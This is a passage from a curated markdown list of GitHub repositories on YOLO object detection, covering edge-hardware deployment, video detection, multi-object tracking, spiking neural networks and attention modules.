- [SEASKY-Master/Yolo-for-k210](https://github.com/SEASKY-Master/Yolo-for-k210) <img src="https://img.shields.io/github/stars/SEASKY-Master/Yolo-for-k210?style=social"/> : Yolo-for-k210.
- [TonyZ1Min/yolo-for-k210](https://github.com/TonyZ1Min/yolo-for-k210) <img src="https://img.shields.io/github/stars/TonyZ1Min/yolo-for-k210?style=social"/> : keras-yolo-for-k210.
- [vseasky/yolo-for-k210](https://github.com/vseasky/yolo-for-k210) <img src="https://img.shields.io/github/stars/vseasky/yolo-for-k210?style=social"/> : Yolo-for-k210.
- [InnoIPA/dpu-sc](https://github.com/InnoIPA/dpu-sc) <img src="https://img.shields.io/github/stars/innoipa/dpu-sc?style=social"/> : dpu-sc presented how to create quick demos to run AI inference(YOLOv4-Tiny, LPRNet) on DPU with MPSoC.
- [InnoIPA/vaiGO](https://github.com/InnoIPA/vaiGo) <img src="https://img.shields.io/github/stars/innoipa/vaiGO?style=social"/> : vaiGO means Vitis-ai GO. We provide utility and tutorial that make it easy to convert a trained AI model into a bitstream that can be deployed on an FPGA Edge AI Box.
- [InnoIPA/EXMU-X261-usermanual](https://github.com/InnoIPA/EXMU-X261-usermanual) <img src="https://img.shields.io/github/stars/innoipa/exmu-x261-usermanual?style=social"/> : We have built more defect detection solutions with YOLOv4-tiny on EXMU-X261.
- ##### Other Hardware
- [guichristmann/edge-tpu-tiny-yolo](https://github.com/guichristmann/edge-tpu-tiny-yolo) <img src="https://img.shields.io/github/stars/guichristmann/edge-tpu-tiny-yolo?style=social"/> : Run Tiny YOLO-v3 on Google's Edge TPU USB Accelerator.
- [Charlie839242/-Trash-Classification-Car](https://github.com/Charlie839242/-Trash-Classification-Car) <img src="https://img.shields.io/github/stars/Charlie839242/-Trash-Classification-Car?style=social"/> : ่ฟๆฏไธไธชๅบไบyolo-fastestๆจกๅ็ๅฐ่ฝฆ๏ผไธปๆงๆฏart-piๅผๅๆฟ๏ผไฝฟ็จไบrt threadๆไฝ็ณป็ปใ
- [Charlie839242/Deploy-yolo-fastest-tflite-on-raspberry](https://github.com/Charlie839242/Deploy-yolo-fastest-tflite-on-raspberry) <img src="https://img.shields.io/github/stars/Charlie839242/Deploy-yolo-fastest-tflite-on-raspberry?style=social"/> : This project deploys a yolo fastest model in the form of tflite on raspberry 3b+.
- [mahxn0/Hisi3559A_Yolov5](https://github.com/mahxn0/Hisi3559A_Yolov5) <img src="https://img.shields.io/github/stars/mahxn0/Hisi3559A_Yolov5?style=social"/> : ๅบไบhisi3559a็yolov5่ฎญ็ป้จ็ฝฒๅ
จๆต็จใ
- [ZhenxinYUAN/YOLO_hi3516Deploy](https://github.com/ZhenxinYUAN/YOLO_hi3516Deploy) <img src="https://img.shields.io/github/stars/ZhenxinYUAN/YOLO_hi3516Deploy?style=social"/> : Deploy Yolo series algorithms on Hisilicon platform hi3516, including yolov3, yolov5, yolox, etc.
- [jveitchmichaelis/edgetpu-yolo](https://github.com/jveitchmichaelis/edgetpu-yolo) <img src="https://img.shields.io/github/stars/jveitchmichaelis/edgetpu-yolo?style=social"/> : Minimal-dependency Yolov5 export and inference demonstration for the Google Coral EdgeTPU.
- [xiaqing10/Hisi_YoLoV5](https://github.com/xiaqing10/Hisi_YoLoV5) <img src="https://img.shields.io/github/stars/xiaqing10/Hisi_YoLoV5?style=social"/> : ๆตทๆnnie่ทyolov5ใ
- [BaronLeeLZP/hi3516dv300_nnie-yolov3-demo](https://github.com/BaronLeeLZP/hi3516dv300_nnie-yolov3-demo) <img src="https://img.shields.io/github/stars/BaronLeeLZP/hi3516dv300_nnie-yolov3-demo?style=social"/> : ๅจๆตทๆHisilicon็Hi3516dv300่ฏ็ไธ๏ผๅฉ็จnnieๅopencvๅบ๏ผ็ฎๆดไบๅฎๆนyolov3็จไพไธญๅ็งๅคๆ็ๅตๅฅ่ฐ็จ/ๅคๆ็ผ่ฏ๏ผๆไพไบไบคๅ็ผ่ฏๅๅฏๆๅไธๆฟ้จ็ฝฒ่ฟ่ก็demoใ
- [OpenVINO-dev-contest/YOLOv7_OpenVINO](https://github.com/OpenVINO-dev-contest/YOLOv7_OpenVINO) <img src="https://img.shields.io/github/stars/OpenVINO-dev-contest/YOLOv7_OpenVINO?style=social"/> : This repository will demostrate how to deploy a offical YOLOv7 pre-trained model with OpenVINO runtime api.
- [Zhou-sx/yolov5_Deepsort_rknn](https://github.com/Zhou-sx/yolov5_Deepsort_rknn) <img src="https://img.shields.io/github/stars/Zhou-sx/yolov5_Deepsort_rknn?style=social"/> : Track vehicles and persons on rk3588 / rk3399pro.
- [littledeep/YOLOv5-RK3399Pro](https://github.com/littledeep/YOLOv5-RK3399Pro) <img src="https://img.shields.io/github/stars/littledeep/YOLOv5-RK3399Pro?style=social"/> : PyTorch-->ONNX-->RKNN.
- [jnulzl/YOLOV5_RK1126](https://github.com/jnulzl/YOLOV5_RK1126) <img src="https://img.shields.io/github/stars/jnulzl/YOLOV5_RK1126?style=social"/> : yolov5 rk1126 cpp code.
- [Qengineering/YoloCam](https://github.com/Qengineering/YoloCam) <img src="https://img.shields.io/github/stars/Qengineering/YoloCam?style=social"/> : AI camera with live feed, email notification, Gdrive storage and event-triggered GPIO. Raspberry Pi stand-alone AI-powered camera with live feed, email notification and event-triggered cloud storage.
- [Applied-Deep-Learning-Lab/Yolov5_RK3588](https://github.com/Applied-Deep-Learning-Lab/Yolov5_RK3588) <img src="https://img.shields.io/github/stars/Applied-Deep-Learning-Lab/Yolov5_RK3588?style=social"/> : Yolov5_RK3588.
- [LSH9832/edgeyolo](https://github.com/LSH9832/edgeyolo) <img src="https://img.shields.io/github/stars/LSH9832/edgeyolo?style=social"/> : an edge-real-time anchor-free object detector with decent performance.
- [liuyuan000/Rv1126_YOLOv5-Lite](https://github.com/liuyuan000/Rv1126_YOLOv5-Lite) <img src="https://img.shields.io/github/stars/liuyuan000/Rv1126_YOLOv5-Lite?style=social"/> : YOLOv5-LiteๅจRv1126้จ็ฝฒใ
- [cqu20160901/yolov10_rknn_Cplusplus](https://github.com/cqu20160901/yolov10_rknn_Cplusplus) <img src="https://img.shields.io/github/stars/cqu20160901/yolov10_rknn_Cplusplus?style=social"/> : yolov10 ็่ฏๅพฎ rknn ๆฟ็ซฏ C++้จ็ฝฒ๏ผไฝฟ็จๅนณๅฐ rk3588ใ
- [cqu20160901/yolov10_onnx_rknn_horizon_tensorRT](https://github.com/cqu20160901/yolov10_onnx_rknn_horizon_tensorRT) <img src="https://img.shields.io/github/stars/cqu20160901/yolov10_onnx_rknn_horizon_tensorRT?style=social"/> : yolov10 ็ฎๆ ๆฃๆต้จ็ฝฒ็ๆฌ๏ผไพฟไบ็งปๆคไธๅๅนณๅฐ๏ผonnxใtensorRTใrknnใHorizon๏ผ๏ผๅ
จ็ฝ้จ็ฝฒๆ็ฎๅใ่ฟ่ก้ๅบฆๆๅฟซ็้จ็ฝฒๆนๅผ๏ผๅ
จ็ฝ้ฆๅ๏ผใ
## Applications
- ### Video Object Detection
#### ่ง้ข็ฎๆ ๆฃๆต
- [YOLOV](https://github.com/YuHengsss/YOLOV) <img src="https://img.shields.io/github/stars/YuHengsss/YOLOV?style=social"/> : "YOLOV: Making Still Image Object Detectors Great at Video Object Detection". (**[arXiv 2022](https://arxiv.org/abs/2208.09686)**)
- [StreamYOLO](https://github.com/yancie-yjr/StreamYOLO) <img src="https://img.shields.io/github/stars/yancie-yjr/StreamYOLO?style=social"/> : "Real-time Object Detection for Streaming Perception". (**[CVPR 2022](https://arxiv.org/abs/2203.12338v1)**)
- [REPP](https://github.com/AlbertoSabater/Robust-and-efficient-post-processing-for-video-object-detection) <img src="https://img.shields.io/github/stars/AlbertoSabater/Robust-and-efficient-post-processing-for-video-object-detection?style=social"/> : "Robust and efficient post-processing for video object detection". (**[IROS 2020](https://ieeexplore.ieee.org/abstract/document/9341600)**)
- [NoScope](https://github.com/stanford-futuredata/noscope) <img src="https://img.shields.io/github/stars/stanford-futuredata/noscope?style=social"/> : "Noscope: optimizing neural network queries over video at scale". (**[arXiv 2017](https://arxiv.org/abs/1703.02529)**)
- ### Object Tracking
#### ็ฎๆ ่ท่ธช
- #### Multi-Object Tracking
##### ๅค็ฎๆ ่ท่ธช
- [ujanshresstha/YOLOv10_DeepSORT](https://github.com/sujanshresstha/YOLOv10_DeepSORT) <img src="https://img.shields.io/github/stars/ujanshresstha/YOLOv10_DeepSORT?style=social"/> : This repository contains code for object detection and tracking in videos using the YOLOv10 object detection model and the DeepSORT algorithm.
- [mikel-brostrom/yolo_tracking](https://github.com/mikel-brostrom/yolo_tracking) <img src="https://img.shields.io/github/stars/mikel-brostrom/yolo_tracking?style=social"/> : BoxMOT: pluggable SOTA tracking modules for segmentation, object detection and pose estimation models.
- [mikel-brostrom/Yolov7_StrongSORT_OSNet](https://github.com/mikel-brostrom/Yolov7_StrongSORT_OSNet) <img src="https://img.shields.io/github/stars/mikel-brostrom/Yolov7_StrongSORT_OSNet?style=social"/> : Real-time multi-camera multi-object tracker using [YOLOv7](https://github.com/WongKinYiu/yolov7) and [StrongSORT](https://github.com/dyhBUPT/StrongSORT) with [OSNet](https://github.com/KaiyangZhou/deep-person-reid).
- [RizwanMunawar/yolov8-object-tracking](https://github.com/RizwanMunawar/yolov8-object-tracking) <img src="https://img.shields.io/github/stars/RizwanMunawar/yolov8-object-tracking?style=social"/> : YOLOv8 Object Tracking Using PyTorch, OpenCV and Ultralytics.
- [xuarehere/yolo_series_deepsort_pytorch](https://github.com/xuarehere/yolo_series_deepsort_pytorch) <img src="https://img.shields.io/github/stars/xuarehere/yolo_series_deepsort_pytorch?style=social"/> : Deepsort with yolo series. This project support the existing yolo detection model algorithm (YOLOv3, YOLOV4, YOLOV4Scaled, YOLOV5, YOLOV6, YOLOV7, YOLOV8, YOLOX, YOLOR, PPYOLOE ).
- [JackWoo0831/Yolov7-tracker](https://github.com/JackWoo0831/Yolov7-tracker) <img src="https://img.shields.io/github/stars/JackWoo0831/Yolov7-tracker?style=social"/> : Yolo v7 and several Multi-Object Tracker(SORT, DeepSORT, ByteTrack, BoT-SORT, etc.) in VisDrone2019 Dataset. It uses a unified style and integrated tracker for easy embedding in your own projects. YOLOv7 + ๅ็งtrackerๅฎ็ฐๅค็ฎๆ ่ท่ธชใ
- [BoT-SORT](https://github.com/NirAharon/BoT-SORT) <img src="https://img.shields.io/github/stars/NirAharon/BoT-SORT?style=social"/> : "BoT-SORT: Robust Associations Multi-Pedestrian Tracking". (**[arXiv 2022](https://arxiv.org/abs/2206.14651)**)
- [StrongSORT](https://github.com/dyhBUPT/StrongSORT) <img src="https://img.shields.io/github/stars/dyhBUPT/StrongSORT?style=social"/> : "StrongSORT: Make DeepSORT Great Again". (**[arXiv 2022](https://arxiv.org/abs/2202.13514)**)
- [UAVMOT](https://github.com/LiuShuaiyr/UAVMOT) <img src="https://img.shields.io/github/stars/LiuShuaiyr/UAVMOT?style=social"/> : "Multi-Object Tracking Meets Moving UAV". (**[CVPR 2022](https://openaccess.thecvf.com/content/CVPR2022/html/Liu_Multi-Object_Tracking_Meets_Moving_UAV_CVPR_2022_paper.html)**)
- [HKPolyU-UAV/AUTO](https://github.com/HKPolyU-UAV/AUTO) <img src="https://img.shields.io/github/stars/HKPolyU-UAV/AUTO?style=social"/> : "Dynamic Object Tracking on Autonomous UAV System for Surveillance Applications". (**[Sensors 2021](https://www.mdpi.com/1424-8220/21/23/7888)**)
- [bharath5673/StrongSORT-YOLO](https://github.com/bharath5673/StrongSORT-YOLO) <img src="https://img.shields.io/github/stars/bharath5673/StrongSORT-YOLO?style=social"/> : Real-time multi-camera multi-object tracker using (YOLOv5, YOLOv7) and [StrongSORT](https://github.com/dyhBUPT/StrongSORT) with OSNet.
- [mikel-brostrom/Yolov7_StrongSORT_OSNet](https://github.com/mikel-brostrom/Yolov7_StrongSORT_OSNet) <img src="https://img.shields.io/github/stars/mikel-brostrom/Yolov7_StrongSORT_OSNet?style=social"/> : Real-time multi-camera multi-object tracker using YOLOv7 and StrongSORT with OSNet.
- [kadirnar/yolov5-strongsort](https://github.com/kadirnar/yolov5-strongsort) <img src="https://img.shields.io/github/stars/kadirnar/yolov5-strongsort?style=social"/> : Minimal PyTorch implementation of YOLOv5 and [StrongSORT](https://github.com/dyhBUPT/StrongSORT).
- [ZQPei/deep_sort_pytorch](https://github.com/ZQPei/deep_sort_pytorch) <img src="https://img.shields.io/github/stars/ZQPei/deep_sort_pytorch?style=social"/> : MOT using deepsort and yolov3 with pytorch.
- [Qidian213/deep_sort_yolov3](https://github.com/Qidian213/deep_sort_yolov3) <img src="https://img.shields.io/github/stars/Qidian213/deep_sort_yolov3?style=social"/> : Real-time Multi-person tracker using YOLO v3 and deep_sort with tensorflow.
- [CSTrack](https://github.com/JudasDie/SOTS) <img src="https://img.shields.io/github/stars/JudasDie/SOTS?style=social"/> : "Rethinking the competition between detection and ReID in Multi-Object Tracking". (**[arXiv 2020](https://arxiv.org/abs/2010.12138)**)
- [ROLO](https://github.com/Guanghan/ROLO) <img src="https://img.shields.io/github/stars/Guanghan/ROLO?style=social"/> : ROLO is short for Recurrent YOLO, aimed at simultaneous object detection and tracking.
- [FastMOT](https://github.com/GeekAlexis/FastMOT) <img src="https://img.shields.io/github/stars/GeekAlexis/FastMOT?style=social"/> : "FastMOT: High-Performance Multiple Object Tracking Based on Deep SORT and KLT". (**[Zenodo 2020](https://doi.org/10.5281/zenodo.4294717)**)
- [Sharpiless/Yolov5-deepsort-inference](https://github.com/Sharpiless/Yolov5-deepsort-inference) <img src="https://img.shields.io/github/stars/Sharpiless/Yolov5-deepsort-inference?style=social"/> : ไฝฟ็จYOLOv5+Deepsortๅฎ็ฐ่ฝฆ่พ่กไบบ่ฟฝ่ธชๅ่ฎกๆฐ๏ผไปฃ็ ๅฐ่ฃ
ๆไธไธชDetector็ฑป๏ผๆดๅฎนๆๅตๅ
ฅๅฐ่ชๅทฑ็้กน็ฎไธญใ
- [Sharpiless/Yolov5-Deepsort](https://github.com/Sharpiless/Yolov5-Deepsort) <img src="https://img.shields.io/github/stars/Sharpiless/Yolov5-Deepsort?style=social"/> : ๆๆฐ็ๆฌyolov5+deepsort็ฎๆ ๆฃๆตๅ่ฟฝ่ธช๏ผ่ฝๅคๆพ็คบ็ฎๆ ็ฑปๅซ๏ผๆฏๆ5.0็ๆฌๅฏ่ฎญ็ป่ชๅทฑๆฐๆฎ้ใ
- [LeonLok/Multi-Camera-Live-Object-Tracking](https://github.com/LeonLok/Multi-Camera-Live-Object-Tracking) <img src="https://img.shields.io/github/stars/LeonLok/Multi-Camera-Live-Object-Tracking?style=social"/> : Multi-camera live traffic and object counting with YOLO v4, Deep SORT, and Flask.
- [LeonLok/Deep-SORT-YOLOv4](https://github.com/LeonLok/Deep-SORT-YOLOv4) <img src="https://img.shields.io/github/stars/LeonLok/Deep-SORT-YOLOv4?style=social"/> : People detection and optional tracking with Tensorflow backend.
- [obendidi/Tracking-with-darkflow](https://github.com/obendidi/Tracking-with-darkflow) <img src="https://img.shields.io/github/stars/obendidi/Tracking-with-darkflow?style=social"/> : Real-time people Multitracker using YOLO v2 and deep_sort with tensorflow.
- [DrewNF/Tensorflow_Object_Tracking_Video](https://github.com/DrewNF/Tensorflow_Object_Tracking_Video) <img src="https://img.shields.io/github/stars/DrewNF/Tensorflow_Object_Tracking_Video?style=social"/> : Object Tracking in Tensorflow ( Localization Detection Classification ) developed to partecipate to ImageNET VID competition.
- [dyh/unbox_yolov5_deepsort_counting](https://github.com/dyh/unbox_yolov5_deepsort_counting) <img src="https://img.shields.io/github/stars/dyh/unbox_yolov5_deepsort_counting?style=social"/> : yolov5 deepsort ่กไบบ ่ฝฆ่พ ่ท่ธช ๆฃๆต ่ฎกๆฐใ
- [theAIGuysCode/yolov3_deepsort](https://github.com/theAIGuysCode/yolov3_deepsort) <img src="https://img.shields.io/github/stars/theAIGuysCode/yolov3_deepsort?style=social"/> : Object tracking implemented with YOLOv3, Deep Sort and Tensorflow.
- [weixu000/libtorch-yolov3-deepsort](https://github.com/weixu000/libtorch-yolov3-deepsort) <img src="https://img.shields.io/github/stars/weixu000/libtorch-yolov3-deepsort?style=social"/> : libtorch-yolov3-deepsort.
- [pmj110119/YOLOX_deepsort_tracker](https://github.com/pmj110119/YOLOX_deepsort_tracker) <img src="https://img.shields.io/github/stars/pmj110119/YOLOX_deepsort_tracker?style=social"/> : using yolox+deepsort for object-tracking.
- [abhyantrika/nanonets_object_tracking](https://github.com/abhyantrika/nanonets_object_tracking) <img src="https://img.shields.io/github/stars/abhyantrika/nanonets_object_tracking?style=social"/> : nanonets_object_tracking.
- [mattzheng/keras-yolov3-KF-objectTracking](https://github.com/mattzheng/keras-yolov3-KF-objectTracking) <img src="https://img.shields.io/github/stars/mattzheng/keras-yolov3-KF-objectTracking?style=social"/> : ไปฅkears-yolov3ๅdetector๏ผไปฅKalman-Filter็ฎๆณๅtracker๏ผ่ฟ่กๅคไบบ็ฉ็ฎๆ ่ฟฝ่ธชใ
- [rohanchandra30/TrackNPred](https://github.com/rohanchandra30/TrackNPred) <img src="https://img.shields.io/github/stars/rohanchandra30/TrackNPred?style=social"/> : A Software Framework for End-to-End Trajectory Prediction.
- [RichardoMrMu/yolov5-deepsort-tensorrt](https://github.com/RichardoMrMu/yolov5-deepsort-tensorrt) <img src="https://img.shields.io/github/stars/RichardoMrMu/yolov5-deepsort-tensorrt?style=social"/> : A c++ implementation of yolov5 and deepsort.
- [bamwani/car-counting-and-speed-estimation-yolo-sort-python](https://github.com/bamwani/car-counting-and-speed-estimation-yolo-sort-python) <img src="https://img.shields.io/github/stars/bamwani/car-counting-and-speed-estimation-yolo-sort-python?style=social"/> : This project imlements the following tasks in the project: 1. Vehicle counting, 2. Lane detection. 3.Lane change detection and 4.speed estimation.
- [ArtLabss/tennis-tracking](https://github.com/ArtLabss/tennis-tracking) <img src="https://img.shields.io/github/stars/ArtLabss/tennis-tracking?style=social"/> : Open-source Monocular Python HawkEye for Tennis.
- [CaptainEven/YOLOV4_MCMOT](https://github.com/CaptainEven/YOLOV4_MCMOT) <img src="https://img.shields.io/github/stars/CaptainEven/YOLOV4_MCMOT?style=social"/> : Using YOLOV4 as detector for MCMOT.
- [opendatacam/node-moving-things-tracker](https://github.com/opendatacam/node-moving-things-tracker) <img src="https://img.shields.io/github/stars/opendatacam/node-moving-things-tracker?style=social"/> : javascript implementation of "tracker by detections" for realtime multiple object tracking (MOT).
- [lanmengyiyu/yolov5-deepmar](https://github.com/lanmengyiyu/yolov5-deepmar) <img src="https://img.shields.io/github/stars/lanmengyiyu/yolov5-deepmar?style=social"/> : ่กไบบ่ฝจ่ฟนๅๅฑๆงๅๆใ
- [zengwb-lx/Yolov5-Deepsort-Fastreid](https://github.com/zengwb-lx/Yolov5-Deepsort-Fastreid) <img src="https://img.shields.io/github/stars/zengwb-lx/Yolov5-Deepsort-Fastreid?style=social"/> : YoloV5 + deepsort + Fast-ReID ๅฎๆด่กไบบ้่ฏๅซ็ณป็ปใ
- [tensorturtle/classy-sort-yolov5](https://github.com/tensorturtle/classy-sort-yolov5) <img src="https://img.shields.io/github/stars/tensorturtle/classy-sort-yolov5?style=social"/> : Ready-to-use realtime multi-object tracker that works for any object category. YOLOv5 + SORT implementation.
- [supperted825/FairMOT-X](https://github.com/supperted825/FairMOT-X) <img src="https://img.shields.io/github/stars/supperted825/FairMOT-X?style=social"/> : FairMOT for Multi-Class MOT using YOLOX as Detector.
- [deyiwang89/pytorch-yolov7-deepsort](https://github.com/deyiwang89/pytorch-yolov7-deepsort) <img src="https://img.shields.io/github/stars/deyiwang89/pytorch-yolov7-deepsort?style=social"/> : an implentation of yolov7-deepsort based on pytorch.
- [xuarehere/yolovx_deepsort_pytorch](https://github.com/xuarehere/yolovx_deepsort_pytorch) <img src="https://img.shields.io/github/stars/xuarehere/yolovx_deepsort_pytorch?style=social"/> : this project support the existing yolo detection model algorithm (YOLOv3, YOLOV4, YOLOV4Scaled, YOLOV5, YOLOV6, YOLOV7 ).
- [deshwalmahesh/yolov7-deepsort-tracking](https://github.com/deshwalmahesh/yolov7-deepsort-tracking) <img src="https://img.shields.io/github/stars/deshwalmahesh/yolov7-deepsort-tracking?style=social"/> : Modular and ready to deploy code to detect and track videos using YOLO-v7 and DeepSORT.
- [RizwanMunawar/yolov7-object-tracking](https://github.com/RizwanMunawar/yolov7-object-tracking) <img src="https://img.shields.io/github/stars/RizwanMunawar/yolov7-object-tracking?style=social"/> : YOLOv7 Object Tracking Using PyTorch, OpenCV and Sort Tracking.
- [RizwanMunawar/yolov5-object-tracking](https://github.com/RizwanMunawar/yolov5-object-tracking) <img src="https://img.shields.io/github/stars/RizwanMunawar/yolov5-object-tracking?style=social"/> : YOLOv5 Object Tracking + Detection + Object Blurring + Streamlit Dashboard Using OpenCV, PyTorch and Streamlit.
- [Smorodov/Multitarget-tracker](https://github.com/Smorodov/Multitarget-tracker) <img src="https://img.shields.io/github/stars/Smorodov/Multitarget-tracker?style=social"/> : Multiple Object Tracker, Based on Hungarian algorithm + Kalman filter.
- [Naughty-Galileo/YoloV5_MCMOT](https://github.com/Naughty-Galileo/YoloV5_MCMOT) <img src="https://img.shields.io/github/stars/Naughty-Galileo/YoloV5_MCMOT?style=social"/> : ๅค็ฑปๅซๅค็ฎๆ ่ท่ธชYoloV5+sort/deepsort/bytetrack/BotSort/motdt.
- [MuhammadMoinFaisal/YOLOv8-DeepSORT-Object-Tracking](https://github.com/MuhammadMoinFaisal/YOLOv8-DeepSORT-Object-Tracking) <img src="https://img.shields.io/github/stars/MuhammadMoinFaisal/YOLOv8-DeepSORT-Object-Tracking?style=social"/> : YOLOv8 Object Tracking using PyTorch, OpenCV and DeepSORT.
- [sujanshresstha/YOLO-NAS_DeepSORT](https://github.com/sujanshresstha/YOLO-NAS_DeepSORT) <img src="https://img.shields.io/github/stars/sujanshresstha/YOLO-NAS_DeepSORT?style=social"/> : This repository contains code for object tracking in videos using the YOLO-NAS object detection model and the DeepSORT algorithm.
- #### Dynamic Object Tracking
##### ๅจๆ็ฎๆ ่ท่ธช
- [PolyU-AIRO-Lab/AUTO](https://github.com/PolyU-AIRO-Lab/AUTO) <img src="https://img.shields.io/github/stars/PolyU-AIRO-Lab/AUTO?style=social"/> : "Dynamic Object Tracking on Autonomous UAV System for Surveillance Applications". (**[Sensors 2021](https://www.mdpi.com/1424-8220/21/23/7888)**)
- #### Deep Reinforcement Learning
#### ๆทฑๅบฆๅผบๅๅญฆไน
- [uzkent/EfficientObjectDetection](https://github.com/uzkent/EfficientObjectDetection) <img src="https://img.shields.io/github/stars/uzkent/EfficientObjectDetection?style=social"/> : "Efficient Object Detection in Large Images with Deep Reinforcement Learning". (**[WACV 2020](https://openaccess.thecvf.com/content_WACV_2020/html/Uzkent_Efficient_Object_Detection_in_Large_Images_Using_Deep_Reinforcement_Learning_WACV_2020_paper.html)**)
- #### Motion Control Field
#### ่ฟๅจๆงๅถ้ขๅ
- [icns-distributed-cloud/adaptive-cruise-control](https://github.com/icns-distributed-cloud/adaptive-cruise-control) <img src="https://img.shields.io/github/stars/icns-distributed-cloud/adaptive-cruise-control?style=social"/> : YOLO-v5 ๊ธฐ๋ฐ "๋จ์ ์นด๋ฉ๋ผ"์ ์์์ ํ์ฉํด ์ฐจ๊ฐ ๊ฑฐ๋ฆฌ๋ฅผ ์ผ์ ํ๊ฒ ์ ์งํ๋ฉฐ ์ฃผํํ๋ Adaptive Cruise Control ๊ธฐ๋ฅ ๊ตฌํ.
- [LeBronLiHD/ZJU2021_MotionControl_PID_YOLOv5](https://github.com/LeBronLiHD/ZJU2021_MotionControl_PID_YOLOv5) <img src="https://img.shields.io/github/stars/LeBronLiHD/ZJU2021_MotionControl_PID_YOLOv5?style=social"/> : ZJU2021_MotionControl_PID_YOLOv5.
- [SananSuleymanov/PID_YOLOv5s_ROS_Diver_Tracking](https://github.com/SananSuleymanov/PID_YOLOv5s_ROS_Diver_Tracking) <img src="https://img.shields.io/github/stars/SananSuleymanov/PID_YOLOv5s_ROS_Diver_Tracking?style=social"/> : PID_YOLOv5s_ROS_Diver_Tracking.
- [sumght-z/apex_yolov5](https://github.com/sumght-z/apex_yolov5) <img src="https://img.shields.io/github/stars/sumght-z/apex_yolov5?style=social"/> : something by yolov5 and PID.
- #### Super-Resolution Field
#### ่ถ
ๅ่พจ็้ขๅ
- [Fireboltz/Psychic-CCTV](https://github.com/Fireboltz/Psychic-CCTV) <img src="https://img.shields.io/github/stars/Fireboltz/Psychic-CCTV?style=social"/> : A video analysis tool built completely in python.
- #### Spiking Neural Network
#### SNN, ่ๅฒ็ฅ็ป็ฝ็ป
- [EMS-YOLO](https://github.com/BICLab/EMS-YOLO) <img src="https://img.shields.io/github/stars/BICLab/EMS-YOLO?style=social"/> : Offical implementation of "Deep Directly-Trained Spiking Neural Networks for Object Detection" (**[ICCV 2023](https://openaccess.thecvf.com/content/ICCV2023/html/Su_Deep_Directly-Trained_Spiking_Neural_Networks_for_Object_Detection_ICCV_2023_paper.html)**)
- [Attention-SNN](https://github.com/BICLab/Attention-SNN) <img src="https://img.shields.io/github/stars/BICLab/Attention-SNN?style=social"/> : Offical implementation of "Attention Spiking Neural Networks" (**[IEEE TPAMI 2023](https://ieeexplore.ieee.org/abstract/document/10032591)**)
- [Spike-Driven-Transformer](https://github.com/BICLab/Spike-Driven-Transformer) <img src="https://img.shields.io/github/stars/BICLab/Spike-Driven-Transformer?style=social"/> : Offical implementation of "Spike-driven Transformer" (**[NeurIPS 2023](https://openreview.net/forum?id=9FmolyOHi5)**)
- [Spike-Driven-Transformer-V2](https://github.com/BICLab/Spike-Driven-Transformer-V2) <img src="https://img.shields.io/github/stars/BICLab/Spike-Driven-Transformer-V2?style=social"/> : Offical implementation of "Spike-driven Transformer V2: Meta Spiking Neural Network Architecture Inspiring the Design of Next-generation Neuromorphic Chips" (**[ICLR 2024](https://openreview.net/forum?id=1SIBN5Xyw7)**)
- [Spiking-YOLOv3](https://github.com/cwq159/PyTorch-Spiking-YOLOv3) <img src="https://img.shields.io/github/stars/cwq159/PyTorch-Spiking-YOLOv3?style=social"/> : A PyTorch implementation of Spiking-YOLOv3. Two branches are provided, based on two common PyTorch implementation of YOLOv3([ultralytics/yolov3](https://github.com/ultralytics/yolov3) & [eriklindernoren/PyTorch-YOLOv3](https://github.com/eriklindernoren/PyTorch-YOLOv3)), with support for Spiking-YOLOv3-Tiny at present. (**[AAAI 2020](https://ojs.aaai.org/index.php/AAAI/article/view/6787)**)
- [fjcu-ee-islab/Spiking_Converted_YOLOv4](https://github.com/fjcu-ee-islab/Spiking_Converted_YOLOv4) <img src="https://img.shields.io/github/stars/fjcu-ee-islab/Spiking_Converted_YOLOv4?style=social"/> : Object Detection Based on Dynamic Vision Sensor with Spiking Neural Network.
- [Zaabon/spiking_yolo](https://github.com/Zaabon/spiking_yolo) <img src="https://img.shields.io/github/stars/Zaabon/spiking_yolo?style=social"/> : This project is a combined neural network utilizing an spiking CNN with backpropagation and YOLOv3 for object detection.
- [Dignity-ghost/PyTorch-Spiking-YOLOv3](https://github.com/Dignity-ghost/PyTorch-Spiking-YOLOv3) <img src="https://img.shields.io/github/stars/Dignity-ghost/PyTorch-Spiking-YOLOv3?style=social"/> : A modified repository based on [Spiking-YOLOv3](https://github.com/cwq159/PyTorch-Spiking-YOLOv3) and [YOLOv3](https://pjreddie.com/darknet/yolo), which makes it suitable for VOC-dataset and YOLOv2.
- [beauty-girl-cxy/spiking-yolov5](https://github.com/beauty-girl-cxy/spiking-yolov5) <img src="https://img.shields.io/github/stars/beauty-girl-cxy/spiking-yolov5?style=social"/> : spiking-yolov5.
- #### Attention and Transformer
#### ๆณจๆๅๆบๅถ
- [xmu-xiaoma666/External-Attention-pytorch](https://github.com/xmu-xiaoma666/External-Attention-pytorch) <img src="https://img.shields.io/github/stars/xmu-xiaoma666/External-Attention-pytorch?style=social"/> : ๐ Pytorch implementation of various Attention Mechanisms, MLP, Re-parameter, Convolution, which is helpful to further understand papers.โญโญโญ.
- [MenghaoGuo/Awesome-Vision-Attentions](https://github.com/MenghaoGuo/Awesome-Vision-Attentions) <img src="https://img.shields.io/github/stars/MenghaoGuo/Awesome-Vision-Attentions?style=social"/> : Summary of related papers on visual attention. Related code will be released based on Jittor gradually. "Attention Mechanisms in Computer Vision: A Survey". (**[arXiv 2021](https://arxiv.org/abs/2111.07624)**)
- [pprp/awesome-attention-mechanism-in-cv](https://github.com/pprp/awesome-attention-mechanism-in-cv) <img src="https://img.shields.io/github/stars/pprp/awesome-attention-mechanism-in-cv?style=social"/> : ๐ CVไธญๅธธ็จๆณจๆๅๆจกๅ;ๅณๆๅณ็จๆจกๅ;ViTๆจกๅ. PyTorch Implementation Collection of Attention Module and Plug&Play Module.
- [AbSViT](https://github.com/bfshi/AbSViT) <img src="https://img.shields.io/github/stars/bfshi/AbSViT?style=social"/> : "Top-Down Visual Attention from Analysis by Synthesis". (**[CVPR 2023](https://arxiv.org/abs/2303.13043)**). "ๅพฎไฟกๅ
ฌไผๅทใไบบๅทฅๆบ่ฝๅๆฒฟ่ฎฒไน ใใ[ใๆบๅคดๆดปๆฐดใCVPR 2023 | AbSViT๏ผๆฅๆ่ชไธ่ไธๆณจๆๅๆบๅถ็่ง่งTransformer](https://mp.weixin.qq.com/s/FtVd37tOXMfu92eDSvdvbg)ใ"ใ "ๅพฎไฟกๅ
ฌไผๅทใๆๅธๅนณๅฐใใ[CVPR23 Highlight๏ฝๆฅๆtop-down attention่ฝๅ็vision transformer](https://mp.weixin.qq.com/s/UMA3Vk9L71zUEtNkCshYBg)ใ"ใ
